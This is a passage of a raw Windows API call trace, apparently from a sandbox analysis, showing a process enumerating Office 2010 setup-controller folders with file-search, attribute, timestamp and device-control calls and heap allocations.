RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.527] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0050.528] GetLastError () returned 0x12 [0050.529] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.531] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.532] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.534] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0050.534] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0050.535] GetLastError () returned 0x12 [0050.536] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.536] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.538] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.566] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="")) returned 1 [0050.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0050.872] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee630 [0050.873] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee630, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee630, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.873] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee630) returned 1 [0050.873] NtClose (Handle=0x174) returned 0x0 [0050.873] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.873] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.873] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.874] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.874] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.874] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.874] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.874] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeea040 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeed6a8 [0050.874] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.874] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.874] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.874] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeea060 [0050.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeed7b0 [0050.874] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.874] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.874] GetLastError () returned 0x12 [0050.874] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.875] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.875] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.875] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0050.875] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.875] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.875] GetLastError () returned 0x12 [0050.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.875] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.875] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.875] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0050.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.875] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0050.900] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee630 [0050.900] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee630, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee630, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.900] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee630) returned 1 [0050.901] NtClose (Handle=0x178) returned 0x0 [0050.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.901] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.901] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.901] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="")) returned 1 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeea080 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeed8b8 [0050.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.901] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.901] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeea0a0 [0050.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeed9c0 [0050.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.902] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.902] GetLastError () returned 0x12 [0050.902] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.902] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.902] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.902] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="")) returned 1 [0050.902] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.902] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.902] GetLastError () returned 0x12 [0050.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.902] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.902] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.902] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="")) returned 1 [0050.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0050.909] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee630 [0050.909] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee630, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee630, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee630) returned 1 [0050.909] NtClose (Handle=0x174) returned 0x0 [0050.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.909] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", 